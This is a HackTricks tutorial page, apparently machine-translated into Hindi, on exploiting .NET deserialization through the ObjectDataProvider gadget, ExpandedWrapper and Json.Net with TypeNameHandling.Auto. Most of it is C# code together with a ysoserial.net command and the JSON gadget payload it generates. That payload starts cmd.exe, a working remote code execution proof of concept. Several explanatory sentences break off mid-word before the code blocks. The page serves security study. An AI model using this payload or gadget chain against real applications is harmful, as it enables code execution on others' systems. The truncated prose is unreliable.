12 KiB
बेसिक .Net डिसीरियलाइजेशन (ObjectDataProvider गैजेट, ExpandedWrapper, और Json.Net)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं? SUBSCRIPTION PLANS की जाँच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह।
- आधिकारिक PEASS & HackTricks swag प्राप्त करें।
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter 🐦@carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो में PR जमा करके।
यह पोस्ट ObjectDataProvider गैजेट को उत्पन्न करने के लिए कैसे उपयोग किया जाता है ताकि RCE प्राप्त किया जा सके और Serialization पुस्तकालय Json.Net और xmlSerializer कैसे दुरुपयोग किया जा सकता है उस गैजेट के साथ।
ObjectDataProvider गैजेट
दस्तावेज़ीकरण से: ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
हाँ, यह एक अजीब व्याख्या है, इसलिए चलिए देखते हैं कि इस क्लास में क्या है जो इतना दिलचस्प है: यह क्लास एक विविध ऑब्जेक्ट को रैप करने की अनुमति देता है, MethodParameters का उपयोग करके विविध पैरामीटर सेट करने के लिए और फिर MethodName का उपयोग करके एक विविध ऑब्जेक्ट घोषित करने वाले विविध ऑब्जेक्ट के एक विविध फ़ंक्शन को कॉल करने के लिए।
इसलिए, विविध **ऑब्ज
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
नोट करें कि आपको System.Windows.Data
लोड करने के लिए C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll को संदर्भ में जोड़ना होगा।
ExpandedWrapper
पिछले एक्सप्लॉइट का उपयोग करते हुए ऐसे मामले होंगे जहां object को ObjectDataProvider इंस्टेंस के रूप में डीसीरियलाइज़ किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करके, ऑब्जेक्ट को GetType
का उपयोग करके डीसीरियलाइज़ किया गया था)। फिर, जिस ऑब्जेक्ट के पैकेट में बंधा है, उसके बारे में कोई जानकारी नहीं होगी ObjectDataProvider इंस्टेंस में (Process
उदाहरण के लिए)। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं।
यह क्लास एक दिए गए इंस्टेंस में बंधे ऑब्जेक्ट के ऑब्जेक्ट टाइप को निर्दिष्ट करने की अनुमति देता है। इसलिए, यह क्लास एक स्रोत ऑब्जेक्ट (ObjectDataProvider) को एक नए ऑब्जेक्ट टाइप में ढकने और हमें आवश्यक गुण प्रदान करने के लिए उपयोग किया जा सकता है (ObjectDataProvider.MethodName और ObjectDataProvider.MethodParameters)।
यह पिछले प्रस्तुत मामलों के लिए बहुत उपयुक्त है, क्योंकि हम _ObjectDataProvider_ को एक ExpandedWrapper इंस्टेंस के अंदर ढक सकेंगे और जब इस क्लास को डीसीरियलाइज़ किया जाएगा तो यह क्लास MethodName में निर्दिष्ट कार्य को चलाएगा जो OjectDataProvider ऑब्ज
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
आधिकारिक वेब पेज पर इसका इंडिकेट किया गया है कि यह लाइब्रेरी **Json.NET के शक्तिशाली JSON सीरियलाइज़र के साथ किसी भी .NET ऑब्ज
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net का दुरुपयोग
ysoserial.net का उपयोग करते हुए मैंने यह उत्पीड़न बनाया:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
इस कोड में आप एक्सप्लॉइट का परीक्षण कर सकते हैं, बस इसे चलाएं और आप देखेंगे कि एक कैल्क चलाया जाता है:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं? SUBSCRIPTION PLANS की जाँच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह।
- आधिकारिक PEASS & HackTricks swag प्राप्त करें।
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter 🐦@carlospolopm** पर फॉलो करें।
- अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो को PR जमा करके।